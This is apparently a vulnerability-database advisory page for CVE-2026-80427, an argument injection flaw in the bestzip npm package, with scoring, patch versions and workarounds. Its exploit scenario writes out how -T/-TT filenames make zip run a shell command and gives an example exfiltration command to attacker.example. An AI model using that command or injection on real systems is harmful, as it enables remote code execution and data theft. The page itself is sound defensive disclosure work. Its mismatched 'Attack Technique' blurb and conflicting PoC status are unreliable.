Skip to main content

bestzip EUVDEUVD-2026-66601

| CVE-2026-80427 HIGH
Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (CWE-88)
2026-08-26 VulnCheck
8.6
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Supply hyphen-prefixed filenames to application input
  2. Delivery
    Application forwards raw paths to bestzip API
  3. Exploit
    bestzip omits -- delimiter in zip argument list
  4. Execution
    zip interprets -T/-TT entries as test-mode options
  5. Impact
    zip executes attacker-specified command via shell post-archive

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Argument sanitization
Exploitation Conditions

Exploitation requires all of the following: the target application uses the bestzip npm package, attacker-controlled values are accepted as the source-paths argument to the bestzip API without stripping entries that begin with a hyphen, and the host system has a standard zip binary installed with -T/-TT support (present in virtually all distribution packages of zip). The injected command executes as a post-archive test hook - the archive write must complete successfully before the command runs, meaning a failure to create the archive prevents execution. Exploitation is blocked by: applications that enumerate or whitelist acceptable source filenames, applications that resolve and sanitize paths before forwarding them, environments where the zip binary is absent or replaced with a minimal implementation lacking -TT support, and deployments that run the Node.js process in a sandboxed environment (e.g., seccomp, containers with restricted syscalls) that prevents child process spawning.

Impact

The VulnCheck-sourced CVSS 4.0 base score of 8.6 assigns AV:L (local attack vector) with PR:N (no privileges), VC:H/VI:H/VA:H, reflecting the full confidentiality, integrity, and availability impact on the vulnerable system. The AV:L classification is conservative; many realistic deployments expose the vulnerable code path to remote attackers via web application file-upload interfaces, in which case the effective attack surface is network-reachable. No EPSS score was provided in the intelligence data, and the vulnerability is absent from the CISA KEV catalog, indicating no confirmed mass exploitation at time of analysis. No proof-of-concept exploit code was identified, though the exploit mechanism relies on documented, standard zip behavior that is straightforward to replicate. Real-world risk is strongly context-dependent: only applications that accept untrusted filenames and pass them unmodified to bestzip are exploitable. CVSS indicates no authentication requirement (PR:N), consistent with scenarios where the calling application's input surface is unauthenticated. The combination of high impact, no authentication, and a simple exploit mechanic makes this a meaningful risk for affected deployments despite the absence of KEV or POC evidence.

Exploit ScenarioDerived

An attacker uploading files to a web service supplies three items named '-T', '-TT', and a shell command string such as 'curl attacker.example/exfil?d=$(id)'. The application, without stripping leading hyphens, calls bestzip to archive the uploaded files. bestzip passes these names as positional arguments to zip, which reads -T and -TT as option flags and, upon finishing the archive, executes the supplied shell command in the security context of the Node.js server process.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 26, 2026

Argument injection in bestzip, a Node.js npm library wrapping the system zip binary, enables arbitrary shell command execution when attacker-controlled source paths are passed to its API. Because bestzip omits the POSIX '--' end-of-options delimiter when building the zip command line, any source path beginning with a hyphen is interpreted by zip as a flag rather than a filename - zip's built-in -T/-TT test-command feature then executes a caller-supplied command through a shell after archive creation. No public exploit code or CISA KEV listing has been identified at time of analysis; vendor-released patches exist as versions 2.2.6 and 3.0.2.

RemediationAI

Upgrade bestzip to version 2.2.6 (2.x line) or 3.0.2 (3.0.x line), which introduce the '--' delimiter between zip options and operands, eliminating the argument injection vector; details are in the GitHub Security Advisory at https://github.com/nfriedly/node-bestzip/security/advisories/GHSA-p87m-9567-rgcc. If an immediate upgrade is blocked by dependency constraints, the most reliable compensating control is to validate all source paths before passing them to bestzip, rejecting any entry whose resolved basename begins with a hyphen character - this prevents injected option flags from reaching zip. Alternatively, restrict source paths to application-controlled enumerations and never interpolate raw user input as a bestzip source argument. Both workarounds place sanitization responsibility on the calling application and are error-prone; upgrading the library is strongly preferred.

Affected VersionsENISA

bestzip 0 <2.2.6
bestzip 3.0.0 <3.0.2

Affected Packages

euvd bestzip fix: 2.2.6, 3.0.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

bestzip (cpe:2.3:a:nfriedly:bestzip:*:*:*:*:*:*:*:*, npm package at npmjs.com/package/bestzip) is a Node.js convenience wrapper that programmatically constructs argument arrays for the host system's zip binary and invokes it via a child process. The root cause is CWE-88 (Improper Neutralization of Argument Delimiters in a Command - 'Argument Injection'): the library concatenates destination archive path and caller-supplied source paths into the argument list without inserting the POSIX '--' separator that signals the end of options. The zip utility's -T flag triggers post-write archive testing, and -TT specifies the command used for that test; inserting both as source entries alongside a command string causes zip to invoke that command through a shell on completion. The attack surface is indirect - exploitation passes through an intermediary application that forwards user-supplied names to bestzip.

Know when Bestzip gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.6 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 10.0 CRITICAL

Network-reachable applications passing unsanitized user filenames to bestzip allow unauthenticated remote RCE with scope change into spawned shell process.

3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Aug 26, 2026 - 17:02 EUVD
CVE Published
Aug 26, 2026 - 15:44 cve.org
HIGH 8.6

DescriptionCVE.org

bestzip builds the argument list for the system zip utility without separating options from operands. The destination archive path and the caller-supplied source paths are passed to the child process with no -- delimiter between them, so any source entry beginning with a hyphen is interpreted by zip as an option rather than a file name. zip accepts -T to test the finished archive and -TT to name the command used to perform that test, so a source list containing those two entries and a command string causes zip to run that command through a shell once the archive has been written. An application that passes a file name or path it received from an untrusted source into the bestzip API therefore executes a command of the supplier's choosing. Versions 2.2.6 and 3.0.2 add the delimiter.

Executive ViewAI

Why It Matters

An argument injection vulnerability in the bestzip Node.js library (CVSS 8.6) enables remote code execution when untrusted file paths are processed by the API, creating direct risk of server compromise and data breach. Organizations using bestzip in production must remediate immediately to protect application infrastructure and customer data.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.2%
Top 95% exploitable
Prevalence
Low
niche Node.js npm utility, limited enterprise production footprint
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

43
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +43
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy